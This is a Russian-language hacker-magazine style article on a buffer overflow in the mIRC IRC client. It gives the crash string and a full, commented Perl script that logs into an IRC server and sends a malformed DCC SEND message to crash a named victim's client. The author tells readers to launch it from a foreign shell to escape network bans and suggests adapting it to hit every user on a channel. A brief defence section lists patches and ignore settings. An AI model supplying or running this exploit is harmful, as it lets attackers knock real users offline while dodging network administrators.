Совсем недавно мир был повержен новой багой в популярном IRC-клиенте. Если ты еще не знаешь о ней, читай
http://www.irchelp.org/irchelp/mirc/exploit.html. Суть в том, что благодаря элементарному переполнению буфера, становится возможным завалить удаленный клиент.

1. Теория.

Для того, чтобы убить mIRC, необходимо выполнить команду /privmsg NICK (1)DCC SEND «x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x» 0.

Где NICK — ник жертвы, а (1) — специальный символ (эквивалентен значению первого элемента таблицы ASCII), который применяется в клиенте. Обычно хакер может сам набрать подобную строку и завалить жертву, но это небезопасно по следующей причине:

Администрации IRC-сетей (особенно русских) далеко не наплевать на своих клиентов. Поэтому за подобные штуки хакеры награждаются глобальным баном (Gline) в сеть. Остается лишь пользоваться небольшим эксплойтом с буржуйского шелла, задача которого просто приконнектиться к серваку и послать команду.

2. Практика.

Такого эксплойта я не нашел, поэтому написал свой. В этом нет ничего сложного,
по сути скрипт — обычный IRC-бот (правда, весьма упрощенный). В скрипте я удалил ряд строк и добавил лишь отправку команды. Первоисточником являлся мой IRC-whoiser, про который я писал месяца два назад (в эпоху актуальности RPC-DCOM уязвимости).

Итак, сам эксплойт. Снабжаю его листинг подробными комментариями, чтобы лишний раз научить тебя программить на Perl :).

#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;
getopt(«spn»); ##
Подключаем сокеты, getopt и парсим командную строку на параметры сервера, порта и ника.

$server=$opt_s || «mesra.kl.my.dal.net»;
$port=$opt_p || 6667;
$nick=$opt_n || «Lamer»; ##
Создаем дефолтовые поля.
$rand=int(rand(65550)); ##
Генерируем случайное число.
print «Making connection to $server:$port… «;
$irc=IO::Socket::INET->new(«$server:$port») || die print «failed!\n»;
$irc->autoflush(1);
$|++; ##
Создаем сокет, вырубаем буферизацию и соединяемся с сервером.
$mynick=»SweetBoy».$rand; ##
Генерируем ник по принципу SweetBoy+случайное 5-значное число.
print «done\nRegistering on server… «;
$irc->send(«USER $mynick $mynick $mynick :$mynick\nNICK $mynick\n»); ##
Регистрируемся на сервере.
sleep 20; ##
Ждем 20 секунд (проще, чем юзать IO::Select, либо цикл с
$irc->recv()).

$spec=chr(1); ##
Формируем шеллкод 🙂
$spec.=»DCC SEND \»x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x\» 0″; 
##
Состоящий из спец-символа, а также роковой команды.
$irc->send(«PRIVMSG $nick :$spec\n»); ##
Посылаем команду для ника.
sleep 10; ##
Спим еще 10 секунд (для надежности).
print «done\nExiting…\n»;
$irc->send(«QUIT :bb2all\n»); ##
Выходим из сети
close($irc); ##
И закрываем сокет.

Я пошел легким, но неверным путем, используя sleep в своем скрипте. Конечно, надежности это не придает ни на грамм, зато… работает :). Я думаю, что 30 секунд ты подождешь без проблем.

Кстати, при желании ты можешь промодифицировать мой whios.pl в оружие массового поражения, которое рассылает подобное мессагу каждому нику на канале. Пусть это действие останется на твоей совести.

3. Защита.

И логическим завершение статьи будет ряд защитных действий против данного эксплойта и вообще баги.

Во-первых, переустанови mIRC на более свежий 6.12 релиз. Он был выпущен на следующий день после новости о баге. С новым клиентом у тебя не будет никаких проблем (если конечно багоискатели не найдут новую брешь в клиенте).

Во-вторых, выполни команду /ignore -wd * если возможности переустановить клиент не существует. Такой
игнор блокирует все входящие DCC-запросы. Таким образом, команда твоим клиентом обработана не будет.

В-третьих, существует скрипт для клиента, который фиксит переполнение буфера. Его ты можешь скачать по адресу
http://www.erler.org/Olathe/exploit%20fix.mrc. Вариант для продвинутых :).

И, наконец, некоторые IRC-сети пошли навстречу своим инертным юзерам. Например, в IRCNetRu блокирован DCC на уровне сети, поэтому побаловаться эксплойтом на серверах русского Иркнета невозможно. Как говорится, и волки сыты и
овцы целы (и пастуху вечная память :)).

4. Злоключение.

Вот, собственно, и все. Данная статья отражает еще один скрытый смысл — написать собственный эксплойт очень просто, если, конечно, знаешь принцип баги. Для меня модификация скрипта заняла около двух минут, и все заработало с первого раза, поэтому ничего сложного в скриптизации нет.

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …